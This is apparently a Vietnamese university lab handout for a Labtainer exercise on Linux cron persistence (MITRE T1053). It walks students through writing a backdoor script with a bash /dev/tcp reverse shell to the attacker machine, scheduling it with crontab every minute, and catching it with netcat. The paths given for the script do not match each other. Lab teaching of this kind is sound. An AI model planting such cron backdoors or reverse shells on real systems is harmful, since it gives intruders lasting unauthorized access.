T1053: Local Job Scheduling

1. **Mục đích**

Bài thực hành giúp sinh viên tìm hiểu cách các lỗ hổng trong hệ thống quản lý tác vụ tự động trên Linux, cụ thể là cronjob, có thể bị khai thác. Sinh viên sẽ thực hiện việc tạo script backdoor và cronjob để thiết lập reverse shell từ hệ thống mục tiêu (Victim) đến hệ thống tấn công (Attacker), qua đó hiểu rõ hơn về cách thức hoạt động và rủi ro bảo mật tiềm ẩn trong cronjob.

2. **Yêu cầu đối với sinh viên**

Sinh viên cần có kiến thức cơ bản về:

- Hệ điều hành Linux.
- Cronjob và cách tạo script shell cơ bản.
- Công cụ Netcat để thiết lập kết nối giữa hai máy.

3. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

labtainer -r pen_tool_mitre_t1053

(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attacker**, một cái là đại diện cho máy nạn nhân: **victim**.

Kiểm tra ip của hai máy bằng lệnh:

ifconfig

Trên terminal **attacker** thực hiện kết nối SSH đến máy **victim** với password 123456:

ssh ubuntu@172.0.0.2

Sau khi **attacker** dùng ssh kết nối thành công đến máy **victim,** thực hiện các bước tiếp theo**.**

Tạo script backdoor:

- Trong phiên ssh từ máy **attacker** đến máy **victim**, tạo một script có tên backdoor.sh để thiết lập kết nối ngược về máy Attacker. Ví dụ:

    - *echo '#!/bin/bash' > /root/backdoor.sh*
    - *echo 'bash -i >& /dev/tcp/172.0.0.3/1337 0>&1' >> backdoor.sh*
    - *chmod +x /root/backdoor.sh*

Mục đích của file script backdoor.sh này là tạo một kết nối ngược từ victim về attacker qua cổng 1337.

Tiếp theo nhiệm vụ của sinh viên là tạo cronjob từ máy **victim** để duy trì kết nối đến máy **attacker.**

Crontab -e

- Chọn công cụ soạn thảo và thêm dòng như sau để thực hiện thực thi script backdoor sau mỗi 1 phút và lưu thay đổi.

**/1 * * * * /bin/bash /home/ubuntu/backdoor.sh*

- Có thể kiểm tra lại bằng cách sử dụng lệnh: crontab -l

Thoát khỏi phiên ssh, trên máy **attacker** sử dụng netcat thực hiện lắng nghe ở cổng bất kì (ví dụ cổng 1337: nc -nlvp 1337) là từ victim, cronjob hoạt động sẽ tự động thực thi script backdoor kết nối đến máy attacker.
Ta có thể kiểm tra:

whoami

hostname

ip a

Kiểm tra kết quả:

Thực hiện lệnh sau để kiểm tra tiến độ và kết quả bài làm:

checkwork

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab <tên bài lab>

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

startlab –r <tên bài lab>